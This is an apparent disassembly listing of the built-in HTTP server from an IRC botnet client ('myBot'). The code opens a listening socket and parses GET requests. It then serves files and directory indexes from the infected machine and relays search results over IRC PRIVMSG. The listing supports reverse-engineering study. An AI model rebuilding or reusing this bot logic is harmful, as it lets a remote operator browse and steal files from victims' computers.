var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_4189A0
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_44B6C0 ; htons
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_407125
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_44D064[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_44B6EC ; bind
cmp eax, 0FFFFFFFFh
jz loc_407125
push 7FFFFFFFh
push edi
call dword_44B6E8 ; listen
cmp eax, 0FFFFFFFFh
jz loc_407125
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_44B75C ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_407125
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_406E0B: ; CODE XREF: sub_406D34+3E7j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_44B6A8 ; select
cmp eax, 0FFFFFFFFh
jz loc_407120
xor esi, esi
mov [ebp+var_4], esi
loc_406E41: ; CODE XREF: sub_406D34+3E1j
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_44B5B8 ; __WSAFDIsSet
test eax, eax
jz loc_40710B
cmp esi, [ebp+var_C]
jnz short loc_406EC3
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_44B754 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40710B
xor ecx, ecx
test ebx, ebx
jbe short loc_406E95
lea edx, [ebp+var_134]
loc_406E89: ; CODE XREF: sub_406D34+15Fj
cmp [edx], eax
jz short loc_406E95
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_406E89
loc_406E95: ; CODE XREF: sub_406D34+14Dj
; sub_406D34+157j
cmp ecx, ebx
jnz short loc_406EB2
cmp ebx, 40h
jnb short loc_406EB2
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_406EB2: ; CODE XREF: sub_406D34+163j
; sub_406D34+168j
cmp eax, [ebp+var_8]
jbe loc_40710B
mov [ebp+var_8], eax
jmp loc_40710B
; ---------------------------------------------------------------------------
loc_406EC3: ; CODE XREF: sub_406D34+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_4189A0
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_4189A0
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_44B6D8 ; recv
test eax, eax
jg short loc_406F56
push esi
call dword_44B758 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_40710B
lea eax, [ebp+var_134]
loc_406F15: ; CODE XREF: sub_406D34+1EBj
cmp [eax], esi
jz short loc_406F26
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_406F15
jmp loc_40710B
; ---------------------------------------------------------------------------
loc_406F26: ; CODE XREF: sub_406D34+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_406F4A
lea eax, [ebp+ecx*4+var_134]
loc_406F34: ; CODE XREF: sub_406D34+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_406F34
loc_406F4A: ; CODE XREF: sub_406D34+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40710B
; ---------------------------------------------------------------------------
loc_406F56: ; CODE XREF: sub_406D34+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_4189A0
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_418E70
add esp, 10h
test eax, eax
jbe loc_40710B
loc_406F84: ; CODE XREF: sub_406D34+30Fj
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40702F
lea eax, [ebp+var_18F0]
push offset aGet ; "GET "
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jz short loc_407003
lea eax, [ebp+var_18F0]
push eax
call sub_418E70
cmp eax, 5
pop ecx
jbe short loc_407003
push offset asc_438880 ; " "
push offset asc_438884 ; " "
lea eax, [ebp+var_18F0]
push offset aGet_0 ; "GET "
push eax
call sub_419AB0
pop ecx
pop ecx
push eax
call sub_419AB0
pop ecx
pop ecx
push eax
call sub_419890
push eax
lea eax, [ebp+var_23C]
push eax
call sub_419FA0
add esp, 10h
jmp short loc_40701A
; ---------------------------------------------------------------------------
loc_407003: ; CODE XREF: sub_406D34+27Ej
; sub_406D34+290j
lea eax, [ebp+var_18F0]
push offset asc_438890 ; "\r\n"
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40704E
loc_40701A: ; CODE XREF: sub_406D34+2CDj
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_4189A0
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40702F: ; CODE XREF: sub_406D34+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_418E70
cmp [ebp+arg_0], eax
pop ecx
jb loc_406F84
jmp loc_40710B
; ---------------------------------------------------------------------------
loc_40704E: ; CODE XREF: sub_406D34+2E4j
xor ecx, ecx
test ebx, ebx
jbe short loc_407098
lea eax, [ebp+var_134]
loc_40705A: ; CODE XREF: sub_406D34+333j
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40706B
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40705A
jmp short loc_40709B
; ---------------------------------------------------------------------------
loc_40706B: ; CODE XREF: sub_406D34+32Bj
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40708F
lea eax, [ebp+ecx*4+var_134]
loc_407079: ; CODE XREF: sub_406D34+359j
mov edx, [eax+4]
loc_40707C: ; DATA XREF: .data:00435518o
; .data:0043552Co ...
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_407079
loc_40708F: ; CODE XREF: sub_406D34+33Cj
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40709B
; ---------------------------------------------------------------------------
loc_407098: ; CODE XREF: sub_406D34+31Ej
mov esi, [ebp+var_4]
loc_40709B: ; CODE XREF: sub_406D34+335j
; sub_406D34+362j
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_407104
lea eax, [ebp+var_360]
push eax
call sub_418E70
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_418E70
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_407104
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_44B75C ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_407317
add esp, 14h
jmp short loc_40710B
; ---------------------------------------------------------------------------
loc_407104: ; CODE XREF: sub_406D34+36Fj
; sub_406D34+395j
push esi
call dword_44B758 ; closesocket
loc_40710B: ; CODE XREF: sub_406D34+11Dj
; sub_406D34+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_406E41
jmp loc_406E0B
; ---------------------------------------------------------------------------
loc_407120: ; CODE XREF: sub_406D34+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_407125: ; CODE XREF: sub_406D34+6Aj
; sub_406D34+92j ...
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40716B
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40842D
add esp, 14h
loc_40716B: ; CODE XREF: sub_406D34+412j
lea eax, [ebp+var_8F0]
push eax
call sub_4035E1
pop ecx
push edi
call dword_44B758 ; closesocket
push [ebp+var_254]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
pop edi
pop esi
pop ebx
sub_406D34 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407195 proc near ; DATA XREF: sub_407317+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_418D40
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_418D70
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_418D70
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_4071FA
push offset aTextHtml ; "text/html"
jmp short loc_4071FF
; ---------------------------------------------------------------------------
loc_4071FA: ; CODE XREF: sub_407195+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_4071FF: ; CODE XREF: sub_407195+63j
lea eax, [ebp+var_9C]
push eax
call sub_418D70
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
call ds:dword_494378
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call ds:dword_494374
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_407278
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_418D70
add esp, 24h
jmp short loc_407299
; ---------------------------------------------------------------------------
loc_407278: ; CODE XREF: sub_407195+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_418D70
add esp, 28h
loc_407299: ; CODE XREF: sub_407195+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_44B710 ; send
cmp [ebp+var_A4], edi
jnz short loc_4072D9
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_407C49
pop ecx
pop ecx
jmp short loc_4072F6
; ---------------------------------------------------------------------------
loc_4072D9: ; CODE XREF: sub_407195+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4075C7
add esp, 10h
loc_4072F6: ; CODE XREF: sub_407195+142j
push [ebp+var_44C]
call dword_44B758 ; closesocket
push [ebp+var_B4]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
pop edi
pop esi
sub_407195 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407317 proc near ; CODE XREF: sub_406D34+3C6p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_4189A0
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40734D
push eax
push offset aS_3 ; "\\%s"
jmp short loc_407356
; ---------------------------------------------------------------------------
loc_40734D: ; CODE XREF: sub_407317+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_4 ; "%s"
loc_407356: ; CODE XREF: sub_407317+34j
lea eax, [ebp+var_10C]
push eax
call sub_418D70
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_418E70
test eax, eax
pop ecx
jbe short loc_4073F1
mov [ebp+arg_8], 2
loc_407381: ; CODE XREF: sub_407317+D8j
lea eax, [ebp+var_10C]
push eax
call sub_418E70
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4073C1
cmp [ebp+esi+var_10C], 25h
jnz short loc_4073C1
cmp [ebp+esi+var_10B], 32h
jnz short loc_4073C1
cmp [ebp+esi+var_10A], 30h
jnz short loc_4073C1
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_4073DB
; ---------------------------------------------------------------------------
loc_4073C1: ; CODE XREF: sub_407317+7Aj
; sub_407317+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_4073D1
push 5Ch
pop eax
jmp short loc_4073D4
; ---------------------------------------------------------------------------
loc_4073D1: ; CODE XREF: sub_407317+B3j
movsx eax, al
loc_4073D4: ; CODE XREF: sub_407317+B8j
mov [ebp+ebx+var_210], al
loc_4073DB: ; CODE XREF: sub_407317+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_418E70
cmp esi, eax
pop ecx
jb short loc_407381
loc_4073F1: ; CODE XREF: sub_407317+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_4 ; "%s%s"
push eax
call sub_418D70
lea eax, [ebp+var_314]
push offset asc_438AE8 ; "\n"
push eax
call sub_419890
add esp, 18h
lea eax, [ebp+var_314]
push eax
call ds:dword_49437C
push 1
cmp eax, 10h
pop esi
jz short loc_40743F
cmp eax, 0FFFFFFFFh
jnz short loc_407442
push [ebp+arg_0]
jmp short loc_4074BE
; ---------------------------------------------------------------------------
loc_40743F: ; CODE XREF: sub_407317+11Cj
mov [ebp+var_4], esi
loc_407442: ; CODE XREF: sub_407317+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40744F
mov [ebp+var_4], esi
loc_40744F: ; CODE XREF: sub_407317+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4074C9
cmp [ebp+arg_C], edi
jz short loc_4074BD
lea eax, [ebp+var_314]
push offset asc_438AEC ; "*"
push eax
call sub_419FB0
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_418D70
lea eax, [ebp+var_210]
push eax
call sub_407D06
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_418D70
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_407518
; ---------------------------------------------------------------------------
loc_4074BD: ; CODE XREF: sub_407317+14Fj
push ebx
loc_4074BE: ; CODE XREF: sub_407317+126j
call dword_44B758 ; closesocket
jmp loc_4075C0
; ---------------------------------------------------------------------------
loc_4074C9: ; CODE XREF: sub_407317+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call ds:dword_4942EC
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_407518
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_418D70
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call ds:dword_49431C
push esi
mov [ebp+var_330], eax
call ds:dword_4942E0
loc_407518: ; CODE XREF: sub_407317+1A4j
; sub_407317+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset aHttpdWorkerThr ; "[HTTPD]: Worker thread of server thread"...
push eax
call sub_418D70
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_4161EB
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_44D05C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_407195
push edi
push edi
call ds:dword_4942F4
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_44D06C[ecx], eax
jz short loc_407592
loc_407580: ; CODE XREF: sub_407317+279j
cmp [ebp+var_318], edi
jnz short loc_4075C0
push 5
call ds:dword_4942D8
jmp short loc_407580
; ---------------------------------------------------------------------------
loc_407592: ; CODE XREF: sub_407317+267j
push ebx
call dword_44B758 ; closesocket
call ds:dword_4942F0
push eax
lea eax, [ebp+var_8C4]
push offset aHttpdFailedT_0 ; "[HTTPD]: Failed to start worker thread,"...
push eax
call sub_418D70
lea eax, [ebp+var_8C4]
push eax
call sub_4035E1
add esp, 10h
loc_4075C0: ; CODE XREF: sub_407317+1ADj
; sub_407317+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_407317 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4075C7 proc near ; CODE XREF: sub_407195+159p
; sub_40C50A+49E3p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_4189A0
mov edi, [ebp+arg_0]
push offset asc_438B58 ; "\n"
push edi
call sub_419890
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_407626
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_418EF0
add esp, 14h
jmp loc_407723
; ---------------------------------------------------------------------------
loc_407626: ; CODE XREF: sub_4075C7+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_407709
call sub_418E70
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
push edi
call sub_418E70
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 0Ch
jmp short loc_407723
; ---------------------------------------------------------------------------
loc_407709: ; CODE XREF: sub_4075C7+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 10h
loc_407723: ; CODE XREF: sub_4075C7+5Aj
; sub_4075C7+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
cmp [ebp+arg_C], ebx
jz short loc_4077BB
push [ebp+arg_C]
call sub_418E70
cmp eax, 2
pop ecx
jbe short loc_4077BB
push [ebp+arg_C]
call sub_418E70
sub eax, 3
pop ecx
jz short loc_40776F
loc_407763: ; CODE XREF: sub_4075C7+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40776F
dec eax
jnz short loc_407763
loc_40776F: ; CODE XREF: sub_4075C7+19Aj
; sub_4075C7+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_4191A0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
loc_4077BB: ; CODE XREF: sub_4075C7+17Ej
; sub_4075C7+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call ds:dword_49433C
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call ds:dword_494338
test eax, eax
jz loc_407BAC
mov edi, 1FFh
loc_4077E7: ; CODE XREF: sub_4075C7+5DFj
cmp [ebp+var_388], ebx
jz loc_407B94
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_407B94
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz loc_407B94
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call ds:dword_494360
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call ds:dword_49435C
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_40785C
mov ecx, offset aAm ; "AM"
loc_40785C: ; CODE XREF: sub_4075C7+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_407868
sub eax, 0Ch
loc_407868: ; CODE XREF: sub_4075C7+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_418D70
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_407A15
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_4078E9
lea eax, [ebp+var_35C]
push eax
push offset aS_5 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_418EF0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_418EF0
add esp, 28h
jmp loc_407B65
; ---------------------------------------------------------------------------
loc_4078E9: ; CODE XREF: sub_4075C7+2DBj
cmp [ebp+arg_C], ebx
jz loc_4079D3
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_418EF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_5 ; "%s%s/"
push edi
push eax
call sub_418EF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
lea eax, [ebp+var_35C]
push eax
call sub_418E70
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_407989
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_40798E
; ---------------------------------------------------------------------------
loc_407989: ; CODE XREF: sub_4075C7+3B9j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_40798E: ; CODE XREF: sub_4075C7+3C0j
lea eax, [ebp+var_248]
push edi
push eax
call sub_418EF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_407B56
; ---------------------------------------------------------------------------
loc_4079D3: ; CODE XREF: sub_4075C7+325j
lea eax, [ebp+var_35C]
push eax
push offset aS_6 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_418EF0
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_407A00: ; CODE XREF: sub_4075C7+476j
lea eax, [ebp+var_248]
push esi
push eax
call sub_418EF0
add esp, 24h
jmp loc_407B65
; ---------------------------------------------------------------------------
loc_407A15: ; CODE XREF: sub_4075C7+2CFj
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_407A3F
push ebx
push [ebp+var_368]
call sub_4055AD
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_407A00
; ---------------------------------------------------------------------------
loc_407A3F: ; CODE XREF: sub_4075C7+454j
cmp [ebp+arg_C], ebx
jz loc_407B3F
push 0E6h
push offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_418EF0
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_6 ; "%s%s"
push edi
push eax
call sub_418EF0
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_418E70
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_44B710 ; send
lea eax, [ebp+var_35C]
push eax
call sub_418E70
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
jbe short loc_407ADF
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_407AE4
; ---------------------------------------------------------------------------
loc_407ADF: ; CODE XREF: sub_4075C7+50Fj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_407AE4: ; CODE XREF: sub_4075C7+516j
lea eax, [ebp+var_248]
push edi
push eax
call sub_418EF0
add esp, 10h
